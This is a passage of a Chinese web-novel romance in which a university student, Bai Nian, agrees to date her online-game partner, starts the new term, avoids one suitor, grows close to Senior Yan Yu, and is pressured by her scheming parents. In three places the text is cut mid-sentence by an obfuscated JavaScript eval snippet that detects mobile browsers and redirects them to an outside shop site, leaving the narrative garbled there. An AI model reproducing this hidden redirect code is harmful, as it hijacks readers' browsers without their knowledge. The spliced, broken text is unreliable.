“没事,刚刚……接了个电话,走神了。”她开了麦,嗓音有点发涩。 “是他们的事情吗?”风不语问的隐晦,白念知道他在问什么。 “嗯。”她闷声回答。 “不管怎么样,不要做危险的事情。”风不语低声道。 白念愣了一下,食指扣在鼠标左键上,轻轻蜷缩了一下。 也许他只是无心的叮嘱一句,可刚才有那么一瞬间,她真的有过某些危险的想法。 见她没有立刻回答,风不语的声音沉了沉:“你听我说,有很多解决办法,他们那样的人,最在乎的不过是利益和面子,我可以帮你——” “不会的。”白念突然出声打断了他,“也许以前会,但现在……” 她看了眼屏幕里永远将同生共死的莹白光线牵在她身上的白衣神君,轻笑了下:“现在和以后都不会了。” 画面里仗剑已经带队刷完灵鸟,正领着大家往浮砚山传送过去,白念一边回答着,一边换上打难度本的装备,清空思绪。 虽然钓鱼的饵已经顺理成章的埋下,但白念心里并不是那么痛快,所以她的手指将键盘几乎敲到虚影,最后一关魔王连大招都没用出来,就被她顶着几乎见底的血条飞身上前几剑砍死在火光里。 “我怎么觉得嫂子今天有点凶残……”仗剑放光芒来不及感叹第一次听到自家嫂子的声音,看着一直没有在队伍里说话、自顾自把九逍剑舞得寒光四起的女剑客,后背凉凉地喃喃道。 【队伍】【慢性怪人:加一。】 “不过嫂子真的是女生啊!”仗剑跳脱的发言成功打破了队伍里原本有些低沉的氛围。 “……我刚进队的时候就说过。”白念重新开口。 “咳咳,那什么,我哥头一次恋爱,好不容易铁树开花,我这不是怕他被人妖给骗了吗哈哈……” 仗剑絮絮叨叨地说着,白念的思绪却不由自主地顺着他的话转向一旁被揭了老底的风不语。 他默了片刻,缓缓开口:“明天你最好不要回寝室。” “嫂子救我!我们明天要开学了,怎么办!”仗剑半真半假的语气十分夸张。 白念突然出声:“你们也在晋城读大学吗?” 风不语倏地沉默了,只有仗剑没心没肺道:“是啊……不对,也?嫂子你也在晋城??我靠,这不奔现天理难容啊!” 仗剑在一边激动得吱哇乱叫,白念没有再回答,只是定定地看着屏幕里沉默的白衣神君,而后伸手关了队伍的麦,换成了私聊的麦克风。 “风不语。”她叫他。 “嗯,我在。”他的声音有些低哑,却是一成不变的平和安定。 “没谈过恋爱吗?”白念绷着唇问他。 “……”他顿了顿,诚恳地“嗯”了一声。 白念很轻地笑了一下。 “那要谈一下吗?” 59. 开学 假期的最后一个清晨,白念早早地爬了起来,抱着数位板就开始画画。 画面上的线稿已经画完了,水墨的颜色刚刚上了个大概,但白衣剑客的神韵姿态已经跃然纸上。 画中人微微束起的长发如瀑一般,披洒在灵动飘逸的广袖白袍之上,长身玉立于云雾环绕的青山之巅,右手执剑,神色平静地傲视脚下茫茫空阔壮景。 最近各种事情耽搁之下,这幅画完成的进度稍微有些慢,索性现在已经完成得大差不差,白念甚至还很有耐心地在他旁边加了只威风凛凛昂首挺胸陪着主人的白羽雕。 白念的笔尖落在画面上方,正细致地一笔一笔给精细的发丝上色,她自己的发尾因为倾身低头的缘故,有几缕顺着肩膀滑落,坠在画面上,与屏幕上剑客飘逸的长发几乎融为一体,随着铺开的光影轻轻摇曳。 丁菲菲一进门看到的就是这样一副安然沉静的景象。 “念宝!好想你呀!” 她放下行李直奔椅子上的女生而来,热情洋溢地两臂环上白念的脖颈,像树袋熊一样挂在了白念身上就开始蹭蹭,看到她在画画好奇地勾头去看:“你接的单子吗?好好看!” 白念直起身扭头看向自己身上姿态歪歪扭扭的菲菲,轻轻地笑了下:“你回来了。这个吗,不是,是……礼物。” 菲菲一听扬起了眉毛,凑近了看白念沉静微带笑意的眉眼:“哦……送给谁的呀?” 白念笑而不语,好奇心甚重的菲菲不依不饶,仔细低了头去看她的画,然后眨了眨眼:“咦?这不是你玩的那个游戏里的角色吗?” 看着白念在寝室玩了一年,总是黏着她的菲菲对万古的角色都有些眼熟了,尤其是白念所在的剑尊门派,眼下这个迎风远眺的白衣剑客,不就是念念她所在门派的男角色吗? 菲菲的目光在白念的侧脸和画稿之间来回切换半晌,恍然大悟又不可置信地瞪大眼睛:“念念,你网恋啦?!” 正在阳台洗水果的方淇端着果盘推开玻璃门进来了,好奇地插了句话:“网恋?谁网恋了。快来吃水果和鸭掌。” 菲菲连往日最爱的鸭掌都顾不上了,扯了方淇过来:“你看,念念画了她游戏里的男角色,还说是礼物!” 这下连下了高铁回寝室就瘫在床上躺尸的江含卿也爬了起来,刚回到寝室的三个人好奇地围上来,把白念堵了个严严实实。 “坦白从宽,抗拒从严。”方淇咬了颗蓝莓,一脸八卦。 白念把手中的东西放下,无奈地看了眼这三双齐刷刷的八卦之眼,轻笑了下:“没网恋,是队友。” 她没撒谎。 昨晚她撂下那句话之后,风不语跟宕机了似的,半晌没有说话,安静的耳机里只能听到他莫名重了几分的呼吸声,欲言又止。 大半夜冲过来网吧门口告白的时候不是很莽吗? 没见过他这么犹豫不决的样子,白念想,可能是她说的太突然了,她噙着笑意耐心地等了一会儿才问:“怎么,不愿意吗?” 风不语立刻出声否认:“不是。” 白念笑出声,仿佛自己给他抛出的是什么世纪难题一般,摇了摇鼠标,操控着自己的角色往原地不动的风不语身边挪了一步。夫妻之间会随机互动,女剑客一甩马尾,抱臂调皮地歪着头看了自己的夫君一眼,似乎是在观察他的表情。 丝毫不知道不动如山的白衣神君角色背后,有人的情绪已经汹涌滔天。 等了半晌,白念才听到有低哑的声音传来,风不语缓缓开口:“你连我是谁都不知道。” 白念挑了挑眉:“你不也不知道我是谁么。” 网络有如此多的不确定性,她只想抓住这一秒可以把后背交给彼此的信任,至于其他如何…… 一向冷静理智的白念勾了勾唇,管它呢,再说吧。 对面更加沉默。 白念心中好笑,看着这个只剩一丝血条也能冷静指挥的男人此刻游移不定,突然生起一点逗弄的心思,她叹了口气:“好吧,看来我不该问。” 说完连屏幕里的女剑客都转过身来,往后退了一步,作势要走。 “别走。” 白念无声地笑了下,如愿以偿地听到彼端的声音响起,带着些惊慌急切的挽留。 她重新转过身面对他站定,然后听到他深吸一口气,沉沉开口:“半个月。” 白念眨了眨眼:“什么半个月?” 风不语却像下定了什么决心一般,不再犹豫,沉缓的嗓音在白念耳边炸开:“半个月后,我来见你。” “我怕你失望。” “我把选择的权利交给你。” . “念念?念宝?想什么去啦!” 菲菲在她眼前摇晃手臂,扯回了白念的注意力。 她意识回笼,发觉自己盯着画稿出了神,掩饰般地轻咳一声,关掉绘图软件:“没什么。” 三个室友互相交换眼神,菲菲不依不饶,摇着白念的手臂要问个究竟。 不同于方淇和菲菲的八卦,江含卿看着白念含笑的嘴角,心里却泛起一丝隐秘的担忧。 大一的寒假,因为妈妈来晋城做手术的缘故,她们全家是在晋城的医院里过的年。大年初一的下午,江含卿回寝室拿东西,推开门猝不及防看到本该回了外省家中的白念,却抱着个建筑模型缩在椅子上发呆。 她隐约窥见了这个一开始总是拒人千里之外的女生的秘密。 看了一眼白念电脑屏幕上的游戏图标,江含卿抿了抿唇,欲言又止,最终还是岔开话题:“好啦,不是说要去看看社团招新吗,已经开始了。” 大一新生入学比他们早,学校里的社团招新活动早早地布好了场,就等着收获一波新鲜水灵的学弟学妹。 爱凑热闹的菲菲和方淇很快被转移了注意力,笑闹着要往楼下跑,白念松了口气,冲着江含卿笑了笑,两人跟在后面往楼下走时,江含卿却在无人处低低地开口:“念念。” 白念扭过头看她:“嗯,怎么了?” 江含卿看着她平和的面容,试探道:“如果有什么不开心的事情,要记得你身后一直有我们。网上有些东西……不太靠得住。” 白念愣了愣,看向含卿略带担忧的眼神,思绪转圜间,她突然反应过来她指的是什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13283488|131632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么——她大约担心自己因为某些原因,转而寻求一些虚无的情感吧。 眼角漾开一抹温柔的暖意,白念抬起手臂拢上江含卿的肩膀轻轻拍了拍,是安抚的意味,她缓缓开口:“你放心,我有分寸的。” . 冷清了一个假期的校园此刻喧闹拥挤,各大社团各自占了一块地盘,支两张桌子立个海报就是个招揽的摊子,各自社团里派出的门面担当正铆足了劲拉着路过的学弟学妹介绍,一片热闹。 白念跟着菲菲她们一路看过去,社团的门类五花八门,别说初来乍到的大一新生,就连她们也看得眼花缭乱。 白念去年来的时候没有加入任何社团,那时她和室友还不熟,一个人也没有凑热闹的兴趣,今天这么一看,其实很多还挺有意思的。 她的三个室友各有各的社团任务,几个人一起逛了一会儿,就各自分开行动了,只留下“无业游民”白念一人,谢绝了菲菲拉她去广播社摊位前当门面的邀请,一个人漫无目的地走走看看。 譬如音乐、运动一类的社团摊位前人满为患,有些小众的则比较冷清,白念一路走过去,手里被塞了许多宣传页,她随意地翻了翻,觉得里面和绘画有关的社团还比较有兴趣,正准备过去问问,突然觉得面前人多了起来。 抬头一看,一个摊位前被围得水泄不通,宣传的海报已经被遮挡得严严实实,看不出是什么社团,但是她看到了一个熟悉的身影。 被包围的人群中心,是一头醒目的红发。 从睡不着网咖辞职时,白念并没有告诉江佑,许是某天他自己去了一趟,发现白念不在,发短信问她,才知道白念早已经离职,他发了句好吧,伴随一个嚎啕大哭的表情。 白念没有再回复他。 猝不及防在这里看到江佑,白念一扬眉,就要低下头绕路离开。 可是身高拔群的江佑比她动作更快,在人群喧嚣中一眼就看到了即将低头跑路的白念,扬起嗓子喊她:“白念!” 白念跑路失败,转身站定,冲他点了点头。 江佑立刻放下手中的工作,一路说着对不起、借过,顶着一众关注着他的目光拨开人群,快步冲到了白念面前。 高温下的室外宣传让他脸上带着些细密的汗,脸上是久违的满溢的笑容,眼睛明亮澄澈,带着惊喜的笑意:“你怎么在这里?” 白念思考两秒,举起手里满满一沓宣传页:“我路过。” 江佑看了眼被她放在最上面的纸页:“你想参加绘画社?” 白念说:“随便看看,别的我好像不怎么会。” 江佑却自顾伸出手来,隔着白念的衣袖牵住了她的手腕,带着她往摊位走去,笑得很灿烂:“别去绘画社,来我们这儿,也可以画画。” 白念还来不及说什么,就被人高马大的男生牵着往前走了两步,她一边挣脱一边开口拒绝:“等下——” 江佑却突然停住了步子,白念一下子没刹住车,差点撞在了他的背上,刚刚站稳,一抬起头,就看到前面挡了个人。 严禹。 他静静地垂着眼,看向江佑握住她手腕的部位。 60. 师兄 几日不见的严禹此刻正好挡在了江佑拉着她前行的方向。 他今天穿了一身简单清爽的黑白运动套装,与前几日一身挺括庄重的深色西装截然不同。 可不知怎的,白念脑海中却鬼使神差浮现出上一次离开时,他穿着可爱得跟他气质完全不符的小猫睡衣,站在浴室门口目送她离开的样子。 白念轻咳一声,刚要打招呼,江佑就先她一步开了口,笑容友好:“学长,好巧啊。” 严禹面无表情,并没有第一时间应声,只是把目光转向白念,定定地望向她。 白念和江佑互相对视了一眼,同时开口:“你们认识?” “呃……”江佑用另一只手手挠挠头不好意思地笑了下,“我们社团去年跟学长他们的音乐社有联合活动,我认识学长,他不一定记得我。” 白念正要张口,严禹却更快一步。 “认识,一起做过课题。”他声音沉沉,替白念回答了江佑的问题,目光仍旧低垂着看向她,“你……” 白念顺着他的视线目光下行,才发现自己的手腕还被握在江佑的手中,她下意识猛地一用力,终于挣脱了出来,以为严禹在问他俩的关系,张了张口。 “我和念念是朋友。”江佑看了一眼自己空掉的手腕,冲白念瘪了瘪嘴,转向严禹笑嘻嘻地眨了下眼睛:“准确来说,我在追她。” 白念骤然被打断,尴尬地冲着严禹扬了扬手中的东西,胡乱找了个借口:“不是……那个,我来看看社团。” 严禹轻轻“嗯”了一声:“去年没参加吗?” 白念点点头。 旁边已经聚集了一大批吃瓜群众,本来都是冲着江佑这张脸来摊位前围观的,此刻却意外撞见了平日里神龙见首不见尾的严禹,算是意外惊喜,认识的不认识的都驻足在此,窃窃私语。 “你也是来看这个红头发帅哥的吗?” “对啊,我听室友说心理学社的副社长超帅,下来凑凑热闹。有一说一,他长得好乖啊,我头一次看到把杀马特红发驾驭得这么可爱的人!” “确实,但他对面那个更帅哎,我喜欢高冷挂的大帅比嘿嘿,有人认识吗?” “你是大一的吧,晋云论坛上蝉联了四年的校草都不认识,建筑系的严禹学长,明年就毕业了。” “别光顾着看脸,只有我像瓜田里的猹一样上蹿下跳吗,中间那个女生是谁,感觉有大事发生哎!” “不认识,看起来像大一的新生,但是她长得好漂亮啊。” “如果是她,我可以接受学长铁树开花呜呜呜。” “在胡说什么啊,他们只是随便说说话你们就脑补成这样?” 议论的人越来越多,江佑和严禹都是习惯了被注目的,但白念甚少出门,对这样的场面十分不自在,她抿了抿唇就要扭头走开:“你们忙,我去看看别的。” “哎念念!”江佑立刻叫住他,严禹在一旁听到他这一声亲密的称呼,再次垂下眼,掩去眼中隐秘的晦暗情绪。 “别走啊,你不是要画画吗,我们心理学社里可以画画的!”江佑声音很大,热情洋溢。 白念在心里叹了口气,认命地站定:“也不是非要参加……” 严禹冷不丁开口:“画得不错。” 这话说得没头没尾,白念却听懂了他指的什么——那件她送给他的白色T恤,上面画的那轮落日。 第一次提出要赔偿严禹衣服时,他表现得不算开心,大概是觉得自己的帮忙被她算来算去吧…… 后来她思来想去,决定在上面加点东西,以表示那真的不是赔偿,而是作为感谢的礼物。 众目睽睽下,她不自在地轻笑了下:“谢谢师兄夸奖,你不嫌弃就好。” 以前她看不出严禹那件被她弄脏的衣服是什么牌子的,现在知道他的身份了,那衣服想必不会便宜,白念有点子心虚。 严禹看着她的目光专注而沉静:“嗯,忘了谢谢你,我很喜欢。” 江佑在一旁听得一头雾水,不知道他们在打什么哑谜,但是隐约听得出来白念与严禹的关系似乎不错,他愣了愣,默默地将视线转向一直没有看他的学长,似乎从他的表情中察觉了些什么。 他抿了抿唇,突然露齿灿烂一笑,大咧咧道:“我要带念念去我们社团看看,学长你是……路过?” 严禹极轻地看了他一眼,视线又转向白念:“想参加什么社?” 白念张了张口,她虽然迟钝,也能看出来江佑这句话里有意无意提醒什么的意味,她不想给他造成什么误解,干脆直接一点拒绝。 “我看很多人想去你们社,我就不去凑热闹了。” 说完后,她突然抬起头对着严禹笑了笑,严禹意识到她要说什么,抬起眼看她。 “师兄,音乐社好玩吗?我想去试试。”白念问。 一旁的两个人闻言都愣了愣。 严禹看着她的眼睛道:“你想来我们社?” 他本来想说自己只是被朋友拉进去凑数的,他不管社团里的事,他快毕业了,活动也很少参加,差不多是半退的状态。 但他通通都没说出口,只是问她,你想不想。 白念很快地看了眼一旁的江佑,回过头扬起唇笑道:“感觉应该挺有趣的。” 而江佑反应很快,他没有被拒绝的沮丧,轻笑了下,抬手指着白念手中的宣传页继续劝道:“我们去年做了个乡村公益专栏,专门针对儿童心理健康的项目,通过绘画、音乐之类的方式了解和干预小孩子的心理问题,我本来想着你应该会感兴趣。” 不知道哪个字眼触动到了白念,她捏着宣传页的手指一顿,再次拒绝的话一下子没有说出口。 江佑把她的犹豫尽收眼底,趁热打铁:“下个月我们有去乡下做公益的活动,就在郊外,试一试嘛,真的很有意思的。” 白念不着痕迹地悄悄看了眼宣传页上拍摄的乡村公益活动照片,上面有个小孩子举着自己画的画,面无表情,而画面上的色彩刺目又强烈。 像极了她刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299751|131632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开始画画的样子。 白念深吸一口气,终究还是动摇了。 避嫌的意愿被画面上那双平静无波的眼神铺天盖地压垮。 “好吧。”她无可奈何又诚恳地说。 江佑脸上绽开大大的笑容:“那我带你去了解一下?走。” 一旁的严禹低下头轻轻地笑了一声,笑意不达眼底,他沉缓开口:“那我先走了。” “师兄等一下!”白念眼见江佑又要来牵自己的手腕,情急之下连忙开口,刚迈开步子的严禹脚下一顿。 白念小跑着追了上去,扭头跟江佑道别,语速很快:“我有点事找师兄请教一下,你们那儿人太多了,你先去管别人吧,我晚点过来登记一下信息就好。” 江佑脸上神色黯淡了一瞬,很快又重新明亮起来,笑着冲她挥了挥手:“好吧,我会等你的。” “不用等了。”白念也挥手道别,不再等江佑说什么,回头示意严禹快走。 直到走出了那一片人群密集的区域,越过了一片浓密树林的遮挡,白念才感觉黏在自己身上的视线骤然减少了许多,她回头看了眼被挡在树后的人群,松了口气。 “找我有事?”严禹缓缓迈着步子往前走,缓缓开口问她,脸上带着了然的神色,似笑非笑。 “咳咳,”白念知道严禹看出来她在拿她当挡箭牌了,不好意思地笑了下,“抱歉啊师兄。江佑他……就刚刚那个男生,我拒绝过他,但好像没用。借你挡一挡。” 严禹垂着眼慢慢走着,语气平静地说:“没关系,你随便借。” 晋城大学这条路上种满了黄桷树,九月里一片金黄,蜿蜒的路面上铺满了洋洋洒洒的金色落叶,他们隔着一点点距离,安安静静地并肩踩在柔软的叶子上,气氛莫名地安宁。 白念垂着头走了两步,突然觉得严禹给她的感觉如同这条静谧的小径一样,永远温和凝定。 再不堪和狼狈的景象他们也互相见过,面对他,白念觉得坦然又平静。她一脚一脚踩着树叶,放松开口:“我看到宣传的照片,上面有个小女孩,感觉她跟我以前……很像。” 她知道严禹应该能听懂。 “嗯。”严禹点点头,语气平静,“想去就去,不用太在意别人。” 白念弯了弯唇角。 阳光倾泻下来,行道树笔直的树干在路面上隔出一道又一道规律的阴影,她突然玩心微起,迈开步子轻轻跳了起来,去踩一格又一格的光影。 严禹安静地迈着长腿落在她后面半步,目光温柔。 连续跳了十几格,白念呼吸微微有些急促,她停下脚步等了一秒身后的人,笑着开口:“以前我有点怕你。” 严禹目光落在她右脸浅浅的梨涡上,挑了挑眉:“是么。” 白念点点头,缓下脚步慢慢走:“感觉你很少笑,话也不多。唔……有点冷。” “现在呢?” 白念扭头去看严禹被光影衬得朦胧的侧脸,笑意清浅:“现在觉得你是个很好的人。” 61. 邀约 这句话说完之后,白念往前走了一会儿,才发现背后的人并没有应声。 她扭过头一看,严禹已经停下脚步,站在落叶遍地的金色黄桷树下静静注视着她,脸上是白念很少在他脸上读懂的情绪。 “师兄?”白念喊了他一声。 严禹缓慢回神,重新迈开腿继续往前走,脸上缓慢地扯出一抹浅淡的笑意:“是么。” 白念点点头“嗯”了一声,随后略带好奇地问他:“我听说大五都要去实习,师兄怎么回学校了?” 作为建筑学领头羊,晋城大学与全国各地的设计所和名企达成了合作,这些机构每年都会为大五的学生敞开大门,提供丰富的实习岗位,从某种意义上来说,选择自己心仪的实习机构,也就是在选择以后的工作意向。 所以这段时间许多大五的学生已经不在学校了。 严禹看了她一眼:“我选了章老师的工作室。” 确切来说,是章以苓一直追着他问,要不要留在他的工作室实习的,也不知道这个年过半百的小老头为何执着于把他留在自己身边。 诚然,作为华国建筑领军人物,章以苓工作室是许多人梦寐以求的地方,但严禹以前从没想过把自己放在这么熟悉的长辈眼皮子底下,忍受章以苓超过学习之外絮絮叨叨的关心,闹哄哄地度过大学最后一年。 但当上周章以苓最后一次不抱希望地询问他时,严禹忍住对着他苦口婆心的念叨皱眉的冲动,不假思索地答应了下来。 干脆利落得让章以苓剩下的劝说噎在嗓子眼里。 白念若有所思地点点头:“章老师的工作室是很好,不过我原本以为师兄会换个地方或者出国呢。” “为什么?”严禹偏过头问她。 “唔……不知道,一种感觉吧。”这种感觉在上次帮严禹改方案时尤为强烈,白念睨了眼严禹沉静的侧脸,半开玩笑道,“感觉师兄并不像表面看起来那么……循规蹈矩?” 她一时找不到更加合适的形容词。 严禹轻轻勾了下唇角,意味不明地回看了她一眼,没有说话。 白念转身看了眼身后,确认他们已经远离人群探寻的视线环绕,长舒一口气,脸上笑意轻松:“好了,师兄你快去忙吧,耽误你好久,我就在这里等我室友了。” 身侧的男生却没有立刻动作,只是噙着点笑眼神示意了下前方不远处一群抱着乐器弹唱自如的人,玩笑似的问她:“真不去音乐社看看么?” 白念挑了挑眉,语气有些遗憾:“虽然还挺感兴趣的,但我真的不会。” 她知道严禹也就是随口一问,却没想到他骤然开口:“想学什么,我可以教你。” 白念愣了愣,抬头对上他的视线,他墨色的瞳孔十分专注,眼神里没有玩笑的意味。 她下意识摆了摆手拒绝:“我只是……随口一说,大五应该处于半退团的状态了吧,这样太麻烦你了。” 严禹垂下眼,低低地“嗯”了一声,收敛起方才脸上不小心流露出的情绪,又重新看她,脸上笑容克制礼貌:“好,那我走了。” 白念举起小臂挥了挥:“好。” 严禹微微颔首,抬起腿就要往相反的方向离开,白念突然想起什么,又扬起声音喊他:“对了师兄!” 男生复又站定,回过身耐心等她说话。 白念咬了咬下唇,把声音压低了些:“我父母那边……如果他们找你,你把事情推给我就好。半个月以后,他们就不会再来打扰你了。” 严禹深深地看了她一眼,语气认真:“好。” 白念感激一笑:“麻烦啦!今天我们寝室约了聚餐,你什么时候有空,我请你吃饭。” 男生低下头,好像认真思考了一番,才抬起头来,扯开一抹很淡的笑,声音沉沉坠坠:“事情结束之后吧,如果那时……你还愿意的话。” 最后一句话说得没头没尾,白念看着他的表情愣了愣,不理解他后半句是什么意思,怔怔地回答:“当然愿意啊……” 严禹却没再接话,淡淡地笑着垂下眼:“再见。” 白念点了点头,严禹还没来得及离开,远处就传来一道声音。 “念念!” 一道轻快的声音打破了这方寂静,白念扭头看去,菲菲已经忙完,看了她的消息后找了过来,隔着花坛转角朝她挥了挥手,一路小跑过来,满脸兴奋地想要说什么,然后在看到白念身旁的人之后戛然而止。 “学……学长?!”她下意识瞪大了双眼,视线在两个人之间来回流转,“你们怎么——” 她的神情太过震惊,迷茫地看一眼白念,又看一眼旁边好整以暇静静站着的严禹。 她眼中八卦的意味太过强烈,为了避免她问出什么惊世骇俗的话来,白念率先打断她的话,做起了介绍。 “师兄,这是我室友,丁菲菲。” “菲菲,这是严禹师兄。” 被点到名字,菲菲缓慢地抬起手,拘谨又迷茫地“嗨”了一声,严禹礼貌地点了点头:“你好。” 菲菲头一次和传说中的大神这么近距离接触,她处于一种微妙的玄幻当中,晕晕地接话:“师兄你、你好……那什么,不用介绍,我认识。” 说完又觉得不对,重点是这个吗! 她立刻扭头,把目光转向一旁淡定的白念脸上,用眼神疯狂示意:你俩怎么会在一起! 感受到了她强烈的质问眼神,白念轻咳一声,胡乱找了个理由:“我刚刚想看看音乐社的宣传,恰好师兄路过,说是带我了解一下。” 总不能说为了躲避追求者抓了路过的严禹当挡箭牌吧。 旁边菲菲一脸白念把她当智障的鄙视眼神:……这理由你自己信吗? 谁家学长大五了还管社团的破事儿啊! 严禹不着痕迹地勾了下唇角,表情十分诚恳:“是。” . “然后他说是!” 人声鼎沸的火锅店里,吹着清凉的冷气,隔着锅里蒸腾起来迷蒙的白汽,菲菲扯着后来赶来的方淇和江含卿,生动形象地转述刚才发生的一切:“他说是!这么瞎的瞎话他都能闭着眼睛承认!” 白念低着头,拿着筷子轻轻戳面前的瓷碗,试图降低自己的存在感,闻言忍不住出声纠正:“是睁着眼睛……” “念念。”方淇冲她眨了眨眼,“你没有什么想要交代的吗?” 隐身失败的白念摊了摊手:“问。” “你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13327610|131632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么认识的?我没记错的话,放假之前你见着学长还连他是谁都不知道。”方淇撑着下巴问。 “评完图那天,章老师办公室恰好遇见的。”白念很诚实。 “就没了?”菲菲敲了敲碗,眯着眼满脸怀疑。 “后来在医院遇到一次,他帮我缴了费。”白念隐去了其中太过戏剧性的波折。 “还有呢?”方淇饶有兴味。 “后来一起帮章老师做了个项目,中间顺手帮了我一点忙……”白念举手投降,“没了,真没了,我们是清白的。” 剩下的事情都没法明说,但左右差不多就是这个样子,白念自认为总结得很清楚。 方淇一脸狐疑:“清清白白他光天化日地陪你在校园里压马路?” 白念刚举起茶杯喝了一口,闻言差点呛出声:“什么光天化日……” 菲菲低着头翻了半天手机,然后面无表情地开始读出来:“最热门投票贴,严禹大学期间到底会不会谈恋爱。” 白念:…… “不会这个选项的票数以99.98%的压倒性优势获得胜利。”菲菲一脸正经,“证据如下。” “1楼:据不可靠消息,没有异性得到过严禹的任何联系方式。ps:楼内有人回复:我室友拿到过他的手机号,但仅限于社团联合活动期间,任务结束后室友曾经鼓起勇气打电话,得到回复:您拨打的用户已停机。” 白念眨了眨眼,悄无声息地关掉了自己的屏幕,掩去她微信最新联系人上锃光瓦亮的两个大字:严禹。 “66楼:据不完全统计,严禹大学三年来平均每学期拒绝异性表白次数不低于20次,堪称恋爱界的笑面杀手,btw,数据呈现逐年下降趋势,看来大家的热情已经在持续不断的打击中逐渐消退~楼内回复:今年第四年,开学三个月已拒绝表白21次,楼上分析有误,数据持续更新中。” “67楼:刚刚被拒选手路过,楼上分析没错,只是学长快要毕业了,不上白不上,被拒不亏,成了血赚。” “178楼:经过本人长期观察,严禹百分百具有十分严重的洁癖,碍于消息渠道狭窄,只能片面总结为,他从不接触任何递过去的礼物,上课时手臂从不触碰桌面,以及从不使用学校的公共洗衣机。” “179楼:苍了个天的,群众有眼!没错,作为他的室友我要揭发他的恶行!刚开学时候搂了一下他的肩膀,他当着我的面把衣服脱下来扔垃圾桶了!这对当时我幼小纯真的心灵造成了极大的伤害!控诉,我要控诉!” 白念:…… 她脑海中浮现出那双骨节分明又修长的双手。 那双手抱过跌倒在医院地上的她,钳制过白晟林汗涔涔泛着油光的手,甚至撑在了碎玻璃遍地和养花水横流的地板上。 她又想起那件浸满了她眼泪的白色T恤。 白念闭了闭眼,趁着室友不注意,拿起手机点开微信,给最顶上的某个人发了条消息。 . 走到一半听到声音掏出手机的严禹,点开消息就看到聊天框里蹦出一个熊猫头人,咔哒一声跪在了地上,泪流满面地举了个牌子,上面明晃晃三个大字。 对不起! 严禹:? 62. 暗恋? 开学一个星期,白念终于在某个回寝室楼的中午,接到了一个电话。 她站在楼下僻静的碎石小径上,低头看着屏幕上熟悉的未命名来电,唇角轻轻勾起。 来了。 距离二轮比选还有十天,也该来了。 接起电话,白念声音压得很低:“喂?” “念念啊,是我,爸爸。”白晟林在彼端兀自叫得亲热,语气自然熟稔,还带着些小心翼翼的讪笑,“是这样,那天跟你说的事……我们已经回晋城了,你有空谈谈吗?” 白念皱着眉把手机拿远了些,挥斥那些扑面而来的黏腻之感,而后才沉着声音极不情愿道:“哪里?” 半个小时后,白念表情平静地坐在了晋大东门外一家咖啡厅内。 夫妻俩坐在她对面,周淑华抱臂架着腿斜倚在沙发里,看着眼前乖乖赴约的女生,满意地笑了笑,把桌上的甜点往她这边推了推:“吃点吧。” 白念极不给面子地撇了一眼面前的东西:“直接说,别浪费时间。” 这模样落在对面眼里,两人眼中笑容更甚,互相交换了一个眼神,藏不住的安心。 白念不动声色地敛下睫毛,遮去自己眼中的冷意。 不耐烦,不得已,不开心,却不得不妥协。 这样的工具才能让人放心,不是么? “咳咳,念念啊,”白晟林开口,一派慈祥,“上周你妈妈应该跟你说了,你也知道,咱们家今年的项目重心移到北方来了,要是能跟唐氏集团合作那真是再好不过的。爸爸上次吃饭时候也看出来了,唐董事长的儿子啊,对你很满意。” 白念放在桌下面的指甲掐进掌心,欲言又止:“你……你们怎么会有视频?” 白晟林立刻做惋惜状:“生意场上肯定是要留个心眼的,特别是这么重要的场合。只是我们没想到啊,你和严公子会出那样的意外……” 白念轻轻咬了咬唇,左右张望了一下,声音轻细了些,却诡异地带了些羞怯:“……别说了。” 白晟林最善于观言察色,见状眼睛都亮了,语气试探:“念念,你是不是也对严公子……” 白念面上略过一丝不自在,随后轻轻蹙起眉头,没有否认:“把视频给我,我们再谈。” 白晟林已经收到了他想要的信息,笑容更深,循循善诱:“你要是喜欢他啊,正好借着这个机会,帮帮爸爸,要是我们达成合作,以后要见面的机会还多着呢,是不是?” 看到白念沉默不语,男人叹了口气:“你别怪爸爸,这视频……现在也是白家的护身符啊。爸妈只是为了你好,不会害你。” 白念咬了咬唇,隐约有听进去的意思,没有说话。 对面两人交换了一个眼神——这大概就是成了。 周淑华适时地直起身来,慢条斯理地抿了咖啡:“我们前几天联系过严公子——” 说到一半她卖了个关子,如愿以偿地在白念脸上看到了一闪而过的紧张,她笑了笑:“他说这个事,全听你的。” “真的吗……”白念瞪大了眼睛,显露出属于年轻女孩的慌乱和惊讶。 一旁的白晟林插嘴:“爸妈骗你干什么,如今这样尊重人的世家公子算是难得了,更何况还一表人才,念念,你可要抓紧啊。” 时间静止,夫妻俩游说的眼神钉在白念身上,不放过她的一举一动。 半晌过后,白念轻轻吐出一口气:“那我要做什么?” . 